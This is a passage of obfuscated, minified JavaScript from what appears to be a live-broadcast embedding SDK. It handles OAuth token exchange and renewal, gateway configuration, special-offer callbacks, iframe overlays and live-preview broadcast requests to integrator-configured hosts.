'value': 'Module' }), Object['defineProperty'](_0x4a36a2, _0x568d6d(0x283), { 'value': !0x0 }); }; var _0x342796 = {}; return ((() => { const _0x239636 = _0x21a7ec; _0x4b1d53['d'](_0x342796, { 'default': () => _0x2286b3 }); var _0x18c391 = _0x4b1d53(0x46); const _0xe25d1b = /^[a-z]{2,4}(-[A-Z][a-z]{3})?(-([A-Z]{2}|[0-9]{3}))?$/, _0x396de1 = class { static [_0x239636(0x328)]({ method: _0x5416b6, url: _0x5cc6e3, headers: _0x3a4dc2, body: _0x221c29 }) { const _0x371aaf = _0x239636; if (!_0x5cc6e3) throw new Error(_0x18c391[_0x371aaf(0x32f)][_0x371aaf(0x20e)]); if (_0x3a4dc2 && _0x3a4dc2[_0x371aaf(0x1fc)] !== Object) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x371aaf(0x30f)]); if (_0x5416b6 === _0x18c391[_0x371aaf(0x1ba)][_0x371aaf(0x292)] && !_0x221c29) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x371aaf(0x1b3)]); } static [_0x239636(0x341)](_0x122ad6) { const _0x3ce517 = _0x239636, _0x1561e5 = new RegExp('[\x5cw]+\x5c/[\x5cd.]+\x5csweb\x5c/[\x5cd.]+$'); if (!_0x122ad6 || _0x3ce517(0x1aa) != typeof _0x122ad6 || !_0x1561e5['test'](_0x122ad6)) throw new Error(_0x18c391[_0x3ce517(0x32f)][_0x3ce517(0x311)]); } static ['validateHostAppConfig'](_0x18d49c) { const _0x2ceb6c = _0x239636; if (0x0 === Object[_0x2ceb6c(0x2c8)](_0x18d49c)[_0x2ceb6c(0x1a9)]) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x2ceb6c(0x201)]); const { locale: _0x589d54, hostAppName: _0x4f6c19, hostAppVersion: _0x4b77f0 } = _0x18d49c; if (!_0x589d54 || _0x2ceb6c(0x1aa) != typeof _0x589d54) throw new Error(_0x18c391[_0x2ceb6c(0x32f)][_0x2ceb6c(0x2fa)]); if (!_0x4f6c19 || _0x2ceb6c(0x1aa) != typeof _0x4f6c19) throw new Error(_0x18c391[_0x2ceb6c(0x32f)][_0x2ceb6c(0x337)]); const _0xa284ac = new RegExp('^\x5cd+(\x5c.\x5cd+){0,2}$'); if ('number' != typeof _0x18d49c['hostAppVersion'] && !_0xa284ac['test'](_0x4b77f0)) throw new Error(_0x18c391[_0x2ceb6c(0x32f)]['invalidHostappVersion']); } static [_0x239636(0x1e7)](_0x15ad2b) { const _0x29c7ee = _0x239636; if (!_0x15ad2b || _0x29c7ee(0x1aa) != typeof _0x15ad2b) throw new Error(_0x18c391[_0x29c7ee(0x32f)]['invalidAuthenticationToken']); } static [_0x239636(0x33a)](_0x12f5fd) { const _0x1589e7 = _0x239636; if (!_0x12f5fd || 'object' != typeof _0x12f5fd || 0x0 === Object[_0x1589e7(0x2c8)](_0x12f5fd)[_0x1589e7(0x1a9)]) throw new Error(_0x18c391[_0x1589e7(0x32f)][_0x1589e7(0x2ed)]); const { credentials: _0x94a5c2, authUrl: _0x362f6b } = _0x12f5fd; if (!_0x94a5c2 || _0x1589e7(0x1aa) != typeof _0x94a5c2) throw new Error(_0x18c391[_0x1589e7(0x32f)]['invalidAuthenticationCredentials']); const _0x26b675 = new RegExp(_0x1589e7(0x238)); if (!_0x362f6b || 'string' != typeof _0x362f6b || !_0x26b675[_0x1589e7(0x330)](_0x362f6b)) throw new Error(_0x18c391[_0x1589e7(0x32f)][_0x1589e7(0x21d)]); } static [_0x239636(0x26f)](_0x1b9b83) { const _0x44080e = _0x239636; if (!_0x1b9b83 || 'function' != typeof _0x1b9b83) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x44080e(0x2b3)]); } static [_0x239636(0x26a)](_0x582dc5) { const _0xe35407 = _0x239636; if (!Object[_0xe35407(0x1c3)](_0x18c391['VIEW_SOURCE'])[_0xe35407(0x354)](_0x582dc5)) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0xe35407(0x1ec)]); } static [_0x239636(0x2f3)](_0x273525) { const _0x23cf98 = _0x239636; if (!_0x273525 || !Array[_0x23cf98(0x291)](_0x273525[_0x23cf98(0x2c1)]) || 0x0 === _0x273525[_0x23cf98(0x2c1)][_0x23cf98(0x1a9)]) throw new Error(_0x18c391[_0x23cf98(0x32f)]['invalidFontConfig']); _0x273525[_0x23cf98(0x2c1)]['forEach'](_0x151f13 => { const _0x15119e = _0x23cf98; if (!_0x151f13[_0x15119e(0x355)]) throw new Error(_0x18c391['THROWABLE_ERRORS']['invalidFontConfig']); }); } static [_0x239636(0x318)](_0x11d182) { const _0x3e0d1e = _0x239636; if (!_0x11d182 || !_0xe25d1b[_0x3e0d1e(0x330)](_0x11d182)) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x3e0d1e(0x1a8)]); } static [_0x239636(0x340)](_0x2dfcb2) { const _0x37953b = _0x239636; if (!_0x2dfcb2 || _0x37953b(0x34d) != typeof _0x2dfcb2 || Array[_0x37953b(0x291)](_0x2dfcb2) || 0x0 === Object[_0x37953b(0x2c8)](_0x2dfcb2)[_0x37953b(0x1a9)]) throw new Error(_0x18c391['THROWABLE_ERRORS']['invalidLocaleTextData']); } static [_0x239636(0x2a3)](_0x5385c7) { const _0x3f9d03 = _0x239636; if (!_0x5385c7 || _0x3f9d03(0x1aa) != typeof _0x5385c7) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x3f9d03(0x296)]); } }, _0x1a5eab = 0x2710, _0x427de7 = { 'config': {}, 'configurationManager': null, 'specialOfferCallback': null, 'tokenRetries': 0x0, 'requestTokenPromise': null, 'renewTokenAutomaticallyOnExpiration': !0x1, 'automaticTokenRenewalTimeout': null, 'checkSpecialOfferPromise': null, 'configure': _0x323504 => { const _0x34d629 = _0x239636; _0x396de1[_0x34d629(0x33a)](_0x323504); const { credentials: _0x3f61ad, authUrl: _0x206a21, authToken: _0x327990, hostAppName: _0x16dd1e, webLiveURL: _0x3055db, requestManager: _0x55da2a, gatewayUrl: _0x6f6a47 } = _0x323504; _0x427de7[_0x34d629(0x2bb)] = { 'credentials': _0x3f61ad, 'authUrl': _0x206a21, 'authToken': _0x327990, 'hostAppName': _0x16dd1e, 'webLiveURL': _0x3055db, 'requestManager': _0x55da2a, 'gatewayUrl': _0x6f6a47 }; }, 'deconfigure': () => { const _0x248bc8 = _0x239636; _0x427de7['config'] = {}, _0x427de7[_0x248bc8(0x202)] = void 0x0, _0x427de7[_0x248bc8(0x278)] = void 0x0, _0x427de7[_0x248bc8(0x323)] = void 0x0, _0x427de7[_0x248bc8(0x2c7)] = 0x0, _0x427de7[_0x248bc8(0x289)] = void 0x0, _0x427de7[_0x248bc8(0x24b)] = !0x1, clearTimeout(_0x427de7['automaticTokenRenewalTimeout']), _0x427de7[_0x248bc8(0x2d5)] = null, _0x427de7[_0x248bc8(0x1ac)] = null, _0x427de7[_0x248bc8(0x306)] = null; }, 'isTokenDataValid': _0x16b8ca => !!_0x16b8ca && !!_0x16b8ca[_0x239636(0x1d0)] && Date[_0x239636(0x1d1)]() < _0x16b8ca[_0x239636(0x1d9)] + _0x16b8ca['expiresIn'] - _0x1a5eab, 'ensureAccessTokenLoaded'(_0xaa96e) { const _0x4c7e9c = _0x239636, { tokenData: _0x15e7f7 } = _0x427de7; if (_0x427de7[_0x4c7e9c(0x1e3)](_0x15e7f7)) return void _0xaa96e(_0x15e7f7); const { authToken: _0x276600 } = _0x427de7[_0x4c7e9c(0x2bb)]; _0x427de7[_0x4c7e9c(0x261)](_0x276600)[_0x4c7e9c(0x347)](_0x21f390 => _0xaa96e(_0x21f390))[_0x4c7e9c(0x2cd)](_0x3a1a44 => _0xaa96e(null, _0x3a1a44)); }, 'setReinitSessionHandler': _0x1220f8 => { const _0x393a63 = _0x239636; _0x427de7[_0x393a63(0x202)] = _0x1220f8; }, 'requestToken': (_0x184658, _0x1126a4 = !0x1, _0xd3103e = !0x1) => { const _0x263bc4 = _0x239636; try { _0x396de1[_0x263bc4(0x1e7)](_0x184658), _0x396de1[_0x263bc4(0x33a)](_0x427de7[_0x263bc4(0x2bb)]); } catch (_0x4a135a) { return Promise[_0x263bc4(0x2f4)](_0x4a135a); } if (_0x427de7[_0x263bc4(0x2e9)] && !_0xd3103e) return _0x427de7['requestTokenPromise']; const _0x4ce5c7 = _0x427de7[_0x263bc4(0x224)](_0x184658, _0x1126a4), _0x38cf2a = new Promise((_0x188810, _0x279d42) => { const _0x8db90f = _0x263bc4; _0x427de7[_0x8db90f(0x2bb)][_0x8db90f(0x312)][_0x8db90f(0x257)](_0x4ce5c7, (_0x3d11ce, _0x67d5a6) => { const _0x241734 = _0x8db90f; if (_0x67d5a6) return void (_0x427de7[_0x241734(0x2c7)] >= _0x18c391['AUTH_RETRIES_NUM'] ? (_0x427de7[_0x241734(0x2c7)] = 0x0, _0x279d42(_0x67d5a6)) : (_0x427de7[_0x241734(0x2c7)] += 0x1, _0x188810(_0x427de7[_0x241734(0x261)](_0x184658, _0x1126a4, !0x0)))); const { access_token: _0x308d04, refresh_token: _0x1824cb, expires_in: _0x19c372, scope: _0x2e7d44 } = _0x3d11ce; _0x427de7[_0x241734(0x278)] = { 'accessToken': _0x308d04, 'refreshToken': _0x1824cb, 'expiresIn': 0x3e8 * _0x19c372, 'timestamp': Date[_0x241734(0x1d1)]() }, _0x427de7[_0x241734(0x2bf)] = _0x2e7d44, _0x427de7[_0x241734(0x1cf)](), _0x427de7[_0x241734(0x27d)](!0x0), _0x188810(_0x427de7['tokenData']); }); }); return _0x427de7[_0x263bc4(0x2e9)] || _0xd3103e || (_0x427de7[_0x263bc4(0x2e9)] = _0x38cf2a), _0x38cf2a[_0x263bc4(0x1b8)](() => { const _0xb9e92b = _0x263bc4; _0x427de7[_0xb9e92b(0x2e9)] = null; }); }, 'getTimeUntilExpiration': ({ timestamp: _0x466c75 = 0x0, expiresIn: _0x4247a2 = 0x0 } = {}) => _0x466c75 + _0x4247a2 - Date[_0x239636(0x1d1)](), 'tryToRenewTokenAutomaticallyOnExpiration'(_0x3a83ec = !0x1) { const _0x5dde79 = _0x239636; if (!_0x427de7[_0x5dde79(0x24b)]) return !0x1; if (_0x3a83ec && _0x427de7[_0x5dde79(0x2d5)] && (clearTimeout(_0x427de7[_0x5dde79(0x2d5)]), _0x427de7[_0x5dde79(0x2d5)] = null), _0x427de7[_0x5dde79(0x2d5)]) return !0x1; if (!_0x427de7[_0x5dde79(0x1e3)](_0x427de7[_0x5dde79(0x278)])) return !0x1; const _0x4cb59e = _0x427de7[_0x5dde79(0x2b8)](_0x427de7['tokenData']); return _0x427de7['automaticTokenRenewalTimeout'] = setTimeout(() => _0x427de7['ensureAccessTokenLoaded'](() => { }), Math[_0x5dde79(0x2e8)](_0x4cb59e - _0x1a5eab, _0x1a5eab)), !0x0; }, 'setSpecialOfferCallback'(_0x1c274d) { const _0x2d1e45 = _0x239636; _0x427de7[_0x2d1e45(0x1ac)] = _0x1c274d, _0x427de7['renewTokenAutomaticallyOnExpiration'] = !0x0, _0x427de7[_0x2d1e45(0x1cf)](); }, 'getConfigurationManager'() { const _0x38e3b2 = _0x239636; if (!_0x427de7[_0x38e3b2(0x323)]) { const { gatewayUrl: _0x74f218 } = _0x427de7[_0x38e3b2(0x2bb)]; _0x427de7['configurationManager'] = new class { constructor({ gatewayUrl: _0x24dd7e, requestManager: _0x33aae1 }) { const _0x594d6e = _0x38e3b2; this[_0x594d6e(0x2bb)] = null, this[_0x594d6e(0x2c4)] = _0x24dd7e, this['requestManager'] = _0x33aae1; } [_0x38e3b2(0x2d6)](_0x10c83d) { const _0x5c3b49 = _0x38e3b2; if (this['config']) return Promise[_0x5c3b49(0x246)](this[_0x5c3b49(0x2bb)]); const _0x4b9fb8 = { 'method': _0x18c391[_0x5c3b49(0x1ba)][_0x5c3b49(0x2b0)], 'withCredentials': !0x0, 'url': this[_0x5c3b49(0x2c4)] + _0x5c3b49(0x2c6), 'headers': { 'content-type': _0x5c3b49(0x1ae), 'Authorization': _0x5c3b49(0x345) + _0x10c83d } }; return new Promise((_0x1d77fa, _0x2ebabd) => { const _0x599c1f = _0x5c3b49; this[_0x599c1f(0x312)]['sendRequest'](_0x4b9fb8, (_0x5e2e59, _0x1fe2cd) => { const _0x1be5c3 = _0x599c1f; _0x1fe2cd ? _0x2ebabd(_0x1fe2cd) : (this['config'] = _0x5e2e59, _0x1d77fa(this[_0x1be5c3(0x2bb)])); }); }); } }({ 'gatewayUrl': _0x74f218, 'requestManager': _0x427de7[_0x38e3b2(0x2bb)][_0x38e3b2(0x312)] }); } return _0x427de7['configurationManager']; }, async 'checkForSpecialOffer'() { const _0x5d51c4 = _0x239636; return _0x427de7['specialOfferCallback'] ? (this[_0x5d51c4(0x306)] || (this['checkSpecialOfferPromise'] = new Promise((_0x2eed8a, _0x41c5aa) => { _0x427de7['ensureAccessTokenLoaded'](() => { const _0x5838aa = _0x31ec, { accessToken: _0x53864c } = _0x427de7[_0x5838aa(0x278)]; this['getConfigurationManager']()[_0x5838aa(0x2d6)](_0x53864c)[_0x5838aa(0x347)]((_0xeeec6e = {}) => { const _0x277361 = _0x5838aa, { showSpecialCreditsOffer: { enabled: _0x1bf231 } = {}, economy: { purchase: { url: _0x42f4b2 } = {} } = {} } = _0xeeec6e || {}; if (_0x1bf231 && _0x42f4b2) { const _0x16efb4 = _0x42f4b2 + _0x277361(0x22d) + _0x53864c; _0x427de7['specialOfferCallback'](_0x16efb4), _0x427de7[_0x277361(0x27d)](), _0x2eed8a(_0x16efb4); } else _0x427de7[_0x277361(0x1ac)](!0x1), _0x2eed8a(!0x1); })[_0x5838aa(0x2cd)](_0x5c6aff => { const _0x1c7daf = _0x5838aa; _0x427de7[_0x1c7daf(0x1ac)](!0x1), _0x41c5aa(_0x5c6aff); }); }); }), this[_0x5d51c4(0x306)][_0x5d51c4(0x1b8)](() => { const _0x4de861 = _0x5d51c4; this[_0x4de861(0x306)] = null; })), this['checkSpecialOfferPromise']) : null; }, 'refreshToken': _0x3054fb => { const _0x25844b = _0x239636; if (!_0x427de7[_0x25844b(0x289)]) return void _0x3054fb(null, new Error(_0x18c391[_0x25844b(0x32f)][_0x25844b(0x244)])); const { refreshToken: _0x148062 } = _0x427de7[_0x25844b(0x278)]; _0x427de7[_0x25844b(0x261)](_0x148062, !0x0)[_0x25844b(0x347)](_0x24b912 => _0x3054fb(_0x24b912))[_0x25844b(0x2cd)](_0x485a0c => _0x3054fb(null, _0x485a0c)); }, 'buildOptions': (_0xcf551d, _0x4c7671) => { const _0x4da795 = _0x239636; let _0xa1ff4; const { credentials: _0x22b55d, authUrl: _0x2b32fb, hostAppName: _0x3a4df6 } = _0x427de7[_0x4da795(0x2bb)], _0x117f4d = { 'Authorization': 'Basic\x20' + _0x22b55d, 'Content-Type': _0x4da795(0x1cb), 'x-device': _0x4da795(0x30e), 'x-brand': _0x3a4df6 }; _0xa1ff4 = _0x4c7671 ? { 'grant_type': 'refresh_token', 'refresh_token': _0xcf551d } : { 'grant_type': 'urn:ietf:params:oauth:grant-type:token-exchange', 'subject_token': _0xcf551d, 'subject_token_type': _0x4da795(0x21f) }; const _0x5c3be6 = Object[_0x4da795(0x2c8)](_0xa1ff4)['map'](_0x6c06d7 => encodeURIComponent(_0x6c06d7) + '=' + encodeURIComponent(_0xa1ff4[_0x6c06d7]))[_0x4da795(0x31b)]('&'); return { 'url': _0x2b32fb + _0x4da795(0x1ef), 'method': _0x18c391['XHR_REQUEST_TYPES'][_0x4da795(0x292)], 'withCredentials': !0x0, 'body': _0x5c3be6, 'headers': _0x117f4d }; } }, _0x3cb68c = _0x427de7, _0x33abfa = { 'curtains': {}, 'maxZindex': _0x18c391[_0x239636(0x225)]['MAX'], 'minZindex': _0x18c391[_0x239636(0x225)]['MIN'], 'setMaxZindex': _0x598190 => { const _0x519351 = _0x239636; _0x33abfa[_0x519351(0x1c2)] = _0x598190; }, 'createWebLiveIframe': (_0x19d022, _0x472c1a) => { const _0x4a1d71 = _0x239636, _0x2b36fe = document[_0x4a1d71(0x287)](_0x4a1d71(0x25d)); return _0x2b36fe[_0x4a1d71(0x1bf)](_0x4a1d71(0x2c1), _0x19d022), _0x2b36fe['setAttribute']('id', 'web-live-iframe-' + _0x472c1a), _0x2b36fe[_0x4a1d71(0x1bf)]('allow', _0x4a1d71(0x321)), _0x2b36fe[_0x4a1d71(0x1bf)](_0x4a1d71(0x22e), _0x4a1d71(0x1e1)), _0x2b36fe; }, 'removeWebLiveIframe': () => { const _0x13c7be = _0x239636; _0x33abfa[_0x13c7be(0x27b)] = {}; }, 'insertWebLiveIframe': (_0x5929c1, _0x19d5f7) => { const _0x2b5b15 = _0x239636, _0x385cae = document[_0x2b5b15(0x241)](_0x5929c1); if (!_0x385cae) throw new Error(_0x18c391['THROWABLE_ERRORS']['iframeContainerNotFound']); return _0x385cae['setAttribute'](_0x2b5b15(0x22e), 'position:\x20relative;'), _0x385cae[_0x2b5b15(0x31a)](_0x19d5f7), _0x385cae; }, 'addPostMessageListener': _0x533cc0 => { const _0x2e672f = _0x239636; window[_0x2e672f(0x304)](_0x2e672f(0x1dc), _0x533cc0), window[_0x2e672f(0x293)](_0x2e672f(0x1dc), _0x533cc0); }, 'removePostMessageListener': _0x4f58bc => { const _0x5c957a = _0x239636; window[_0x5c957a(0x304)](_0x5c957a(0x1dc), _0x4f58bc); }, 'addWindowUnloadEventsListener': _0x132533 => { const _0x37ab0f = _0x239636; window[_0x37ab0f(0x304)](_0x37ab0f(0x1ce), _0x132533), window[_0x37ab0f(0x293)](_0x37ab0f(0x1ce), _0x132533); }, 'getOrigin': _0x190bdd => { const _0x11e57e = _0x239636, _0x41495d = document[_0x11e57e(0x287)]('a'); return _0x41495d['href'] = _0x190bdd, _0x41495d['origin']; }, 'dropCurtain': ({ iframe: _0x2ed177, container: _0x4cfcb }, _0x24837c, _0x5a75cc, _0x6d008e) => { const _0x547d77 = _0x239636; if (_0x33abfa[_0x547d77(0x27b)][_0x24837c]) return; const _0x60a9e1 = document[_0x547d77(0x287)](_0x547d77(0x315)), _0x327168 = [_0x547d77(0x29c), _0x547d77(0x1bd), 'height:\x20100vh', _0x547d77(0x248), 'left:\x200', 'opacity:\x200.5', _0x547d77(0x1c0) + (_0x5a75cc || '#000'), 'animation:\x20fadeIn\x200.5s\x20ease-in\x200s\x200.5\x20normal\x20forwards', _0x547d77(0x2c3) + (_0x33abfa[_0x547d77(0x1c2)] - 0x1)], _0x4ed252 = [_0x547d77(0x265), _0x547d77(0x2c3) + _0x33abfa[_0x547d77(0x1c2)]]; _0x60a9e1[_0x547d77(0x1bf)](_0x547d77(0x22e), _0x327168[_0x547d77(0x31b)](';\x20')), _0x60a9e1['id'] = _0x24837c, _0x60a9e1[_0x547d77(0x1f6)] = _0x6d008e, _0x33abfa[_0x547d77(0x27b)][_0x24837c] = _0x60a9e1, _0x2ed177[_0x547d77(0x1bf)](_0x547d77(0x22e), _0x4ed252[_0x547d77(0x31b)](';\x20')), _0x4cfcb[_0x547d77(0x31a)](_0x60a9e1); }, 'liftCurtain': ({ iframe: _0x5f1312 }, _0x42442c) => { const _0x181263 = _0x239636, _0x133f04 = _0x33abfa[_0x181263(0x27b)][_0x42442c]; _0x133f04 && (_0x133f04[_0x181263(0x333)][_0x181263(0x343)](_0x133f04), delete _0x33abfa[_0x181263(0x27b)][_0x42442c], Object['keys'](_0x33abfa[_0x181263(0x27b)])[_0x181263(0x1a9)] || _0x5f1312[_0x181263(0x1bf)](_0x181263(0x22e), 'z-index:\x20' + _0x33abfa[_0x181263(0x1b5)] + ';')); } }, _0x24856a = _0x33abfa; class _0x45635e { constructor() { const _0x527ca5 = _0x239636; this[_0x527ca5(0x2f5)] = {}; } static [_0x239636(0x21c)](_0x4edd50) { } [_0x239636(0x1d4)](_0x35225c) { const _0x524448 = _0x239636; this[_0x524448(0x2f5)] = { ...this[_0x524448(0x2f5)], 'colors': { 'body': { 'background-color': _0x35225c } } }; } [_0x239636(0x2fe)](_0x5c8922) { const _0x5a7617 = _0x239636; _0x45635e[_0x5a7617(0x21c)](_0x5c8922), this['theme'] = _0x5c8922; } [_0x239636(0x245)]() { return this['theme']; } } const _0x13aec9 = _0x45635e; class _0x102e3f { static [_0x239636(0x348)](_0x57db30, _0x297d5b) { const _0x3fac41 = _0x239636; if (!(_0x57db30 in _0x18c391[_0x3fac41(0x1f0)])) throw new Error(_0x18c391[_0x3fac41(0x32f)][_0x3fac41(0x223)] + _0x3fac41(0x2f6) + Object['keys'](_0x18c391[_0x3fac41(0x1f0)])[_0x3fac41(0x31b)](',\x20')); if (_0x3fac41(0x34d) != typeof _0x297d5b) throw new Error('' + _0x18c391[_0x3fac41(0x32f)]['wrongSettingsType']); let _0x5555b5 = ''; switch (_0x57db30) { case _0x18c391[_0x3fac41(0x1ed)]: _0x5555b5 = _0x102e3f[_0x3fac41(0x2bc)](_0x57db30, _0x297d5b); break; case _0x18c391[_0x3fac41(0x316)]: _0x5555b5 = _0x102e3f[_0x3fac41(0x28e)](_0x57db30, _0x297d5b); }return _0x5555b5; } static [_0x239636(0x266)](_0x4a9ca9) { const _0x2c5af7 = _0x239636; let _0x43d7e1; try { _0x43d7e1 = JSON['stringify'](_0x4a9ca9); } catch (_0x2e0837) { console[_0x2c5af7(0x2fc)](_0x2c5af7(0x2f1)); } return _0x43d7e1; } static [_0x239636(0x2bc)](_0x2c4fe7, _0x2c27a2) { const _0x373796 = _0x239636, _0x36ae36 = _0x102e3f[_0x373796(0x266)](_0x2c27a2[_0x18c391['SNIPPET_MARQUEE_SETTINGS'][_0x373796(0x2a9)]]), _0x294126 = [_0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x22b)]], _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x2ee)]], _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x210)]], _0x2c27a2[_0x18c391[_0x373796(0x34a)]['viewStyle']], _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x335)]], _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x1fd)]], _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x240)]], _0x36ae36, _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x327)]]][_0x373796(0x2ac)](_0x2b73ee => '' === _0x2b73ee ? void 0x0 : _0x2b73ee)[_0x373796(0x2ac)](_0x5974d4 => String(_0x5974d4)); return _0x18c391[_0x373796(0x1f0)][_0x2c4fe7] + '/' + _0x294126[_0x373796(0x31b)]('/'); } static [_0x239636(0x28e)](_0x228326, _0x4547dc) { const _0x1645e8 = _0x239636, _0x58749b = _0x102e3f[_0x1645e8(0x266)](_0x4547dc[_0x18c391[_0x1645e8(0x34a)][_0x1645e8(0x2a9)]]), _0x546f61 = [_0x4547dc[_0x18c391[_0x1645e8(0x34a)][_0x1645e8(0x210)]], _0x4547dc[_0x18c391['SNIPPET_MARQUEE_SETTINGS'][_0x1645e8(0x2d0)]], _0x4547dc[_0x18c391['SNIPPET_MARQUEE_SETTINGS']['gender']], _0x4547dc[_0x18c391['SNIPPET_MARQUEE_SETTINGS'][_0x1645e8(0x1fd)]], _0x4547dc[_0x18c391[_0x1645e8(0x34a)][_0x1645e8(0x240)]], _0x58749b, _0x4547dc[_0x18c391[_0x1645e8(0x34a)][_0x1645e8(0x327)]]]['map'](_0x32d95b => '' === _0x32d95b ? void 0x0 : _0x32d95b)[_0x1645e8(0x2ac)](_0x5441ad => String(_0x5441ad)); return _0x18c391[_0x1645e8(0x1f0)][_0x228326] + '/' + _0x546f61[_0x1645e8(0x31b)]('/'); } static [_0x239636(0x2e3)](_0xe82bbd, { pillType: _0x3d0bdc, distanceFallbackPillType: _0x592fd8 } = {}, _0x14bc46 = {}) { const _0x15e9ce = _0x239636; if (!_0xe82bbd) return '/live-preview-empty'; let _0x1790be = _0x15e9ce(0x22f) + _0xe82bbd; return _0x3d0bdc && (_0x15e9ce(0x1d2) === _0x3d0bdc ? _0x14bc46[_0x15e9ce(0x2db)] ? _0x1790be += '/distance/' + _0x14bc46[_0x15e9ce(0x2db)] : _0x15e9ce(0x2e2) === _0x592fd8 && (_0x1790be += '/' + _0x592fd8) : _0x1790be += '/' + _0x3d0bdc), _0x1790be; } static [_0x239636(0x25a)](_0xc7b61c, { source: _0x59f2eb = null } = {}) { let _0x208f95 = '/view/' + _0xc7b61c; return _0x59f2eb && (_0x396de1['validateViewSource'](_0x59f2eb), _0x208f95 += '/' + _0x59f2eb), _0x208f95; } } const _0x224fb9 = _0x102e3f, _0x36e7c6 = { 'pageSize': 0xa, 'gender': _0x239636(0x1af) }; class _0x3c9190 { static [_0x239636(0x1d3)](_0x6566b7, _0x2a3542 = []) { const _0x294fb7 = _0x239636; return _0x6566b7[_0x294fb7(0x2ac)](_0x4bee3f => { const _0x1aee47 = _0x294fb7, _0x5a17d1 = _0x2a3542['find'](({ id: _0x2d8ea4 }) => _0x2d8ea4 === _0x4bee3f[_0x1aee47(0x1e5)]); return { ..._0x4bee3f, 'broadcastId': _0x4bee3f[_0x1aee47(0x1e5)], 'metadata': { ..._0x5a17d1 || {} } }; }); } constructor(_0xb3e8c9, _0x37e8d9, _0x5d1f2a = {}) { const _0xfc9fa0 = _0x239636; this[_0xfc9fa0(0x1b0)] = _0xb3e8c9, this[_0xfc9fa0(0x312)] = _0x37e8d9, this[_0xfc9fa0(0x250)] = _0x5d1f2a['network'], this[_0xfc9fa0(0x2c4)] = _0x5d1f2a[_0xfc9fa0(0x2c4)], this[_0xfc9fa0(0x1b6)] = [], this[_0xfc9fa0(0x1e9)] = {}, this[_0xfc9fa0(0x32b)] = !0x0, this[_0xfc9fa0(0x33b)] = '0', this[_0xfc9fa0(0x30b)] = {}; } ['getUnassignedLivePreviewBroadcast']() { const _0x4574c1 = _0x239636; return this['livePreviewBroadcasts'][_0x4574c1(0x300)](_0x5833bb => !_0x5833bb[_0x4574c1(0x2e5)]); } [_0x239636(0x234)](_0x567f66) { const _0x2ba0d4 = _0x239636; return 0x0 === this[_0x2ba0d4(0x1b6)][_0x2ba0d4(0x1a9)] && ('0' === this['currentScore'] || 0x0 === this[_0x2ba0d4(0x33b)]) && Array[_0x2ba0d4(0x291)](_0x567f66[_0x2ba0d4(0x26c)]) && _0x567f66[_0x2ba0d4(0x26c)][_0x2ba0d4(0x1a9)] > 0x0; } async['getNextBroadcast'](_0x3bc244, _0x5d275b = {}) { const _0x40ed5b = _0x239636; let _0x238384 = this[_0x40ed5b(0x1d6)](); if (!_0x238384 && this[_0x40ed5b(0x32b)]) try { let _0x470a95; if (this[_0x40ed5b(0x234)](_0x5d275b) && (_0x470a95 = await this[_0x40ed5b(0x25f)](_0x5d275b[_0x40ed5b(0x26c)], _0x5d275b)), _0x470a95 && _0x470a95[_0x40ed5b(0x1bc)][_0x40ed5b(0x1a9)] || (_0x470a95 = await this[_0x40ed5b(0x1d5)]({ ..._0x36e7c6, 'score': this[_0x40ed5b(0x33b)] })), !_0x470a95[_0x40ed5b(0x1bc)]['length']) return console[_0x40ed5b(0x2fc)]('No\x20eligible\x20Live\x20Preview\x20broadcasts\x20found!'), null; this[_0x40ed5b(0x1b6)] = _0x3c9190['combineBroadcastsWithMetadata'](_0x470a95['broadcasts'], _0x470a95?.['metadata']?.[_0x40ed5b(0x1bc)]), _0x238384 = this['getUnassignedLivePreviewBroadcast'](); } catch (_0x22568b) { return console[_0x40ed5b(0x2fc)](_0x40ed5b(0x302), _0x22568b), null; } return _0x238384 ? (_0x238384[_0x40ed5b(0x2e5)] = _0x3bc244, _0x238384) : (console[_0x40ed5b(0x2fc)](_0x40ed5b(0x301)), null); } ['getLivePreviewBroadcasts'](_0x205a6b = _0x36e7c6) { return new Promise((_0x31a873, _0x2be6ca) => { const _0x3bd5c3 = _0x31ec; this[_0x3bd5c3(0x1b0)][_0x3bd5c3(0x1fe)]((_0x2f81b1, _0x4b2277) => { const _0x35dc16 = _0x3bd5c3; if (_0x4b2277 || !_0x2f81b1) return void _0x2be6ca(_0x4b2277); const { accessToken: _0x496a3d } = _0x2f81b1; this['requestManager'][_0x35dc16(0x257)]({ 'method': _0x18c391[_0x35dc16(0x1ba)][_0x35dc16(0x292)], 'url': this[_0x35dc16(0x2c4)] + _0x35dc16(0x2d3) + this[_0x35dc16(0x250)] + _0x35dc16(0x29b), 'headers': { 'content-type': 'application/json;\x20charset=UTF-8', 'X-Parse-Application-Id': _0x35dc16(0x220), 'X-Parse-Session-Token': _0x496a3d }, 'body': JSON[_0x35dc16(0x1be)](_0x205a6b) }, (_0x1ad187, _0x62d904) => { const _0x5a24d5 = _0x35dc16; if (_0x62d904) return this['moreBroadcastsExists'] = !0x1, void _0x2be6ca(_0x62d904); const { result: _0x4eb931 = {} } = _0x1ad187 || {}; this[_0x5a24d5(0x32b)] = !0x0 === _0x4eb931[_0x5a24d5(0x243)], this[_0x5a24d5(0x33b)] = _0x4eb931[_0x5a24d5(0x2d8)] || '0', _0x31a873(_0x4eb931); }); }); }); } ['getLivePreviewForUsersBroadcasts'](_0x22746b, _0x67df92 = {}) { return new Promise((_0x4b3624, _0x4a53b7) => { const _0x137f39 = _0x31ec; this[_0x137f39(0x1b0)][_0x137f39(0x1fe)]((_0x56d5aa, _0x3bc28d) => { const _0xd31e66 = _0x137f39; if (_0x3bc28d || !_0x56d5aa) return void _0x4a53b7(_0x3bc28d); const { accessToken: _0x52aa1b } = _0x56d5aa; this[_0xd31e66(0x312)]['sendRequest']({ 'method': _0x18c391['XHR_REQUEST_TYPES'][_0xd31e66(0x292)], 'url': this['gatewayUrl'] + _0xd31e66(0x2d3) + 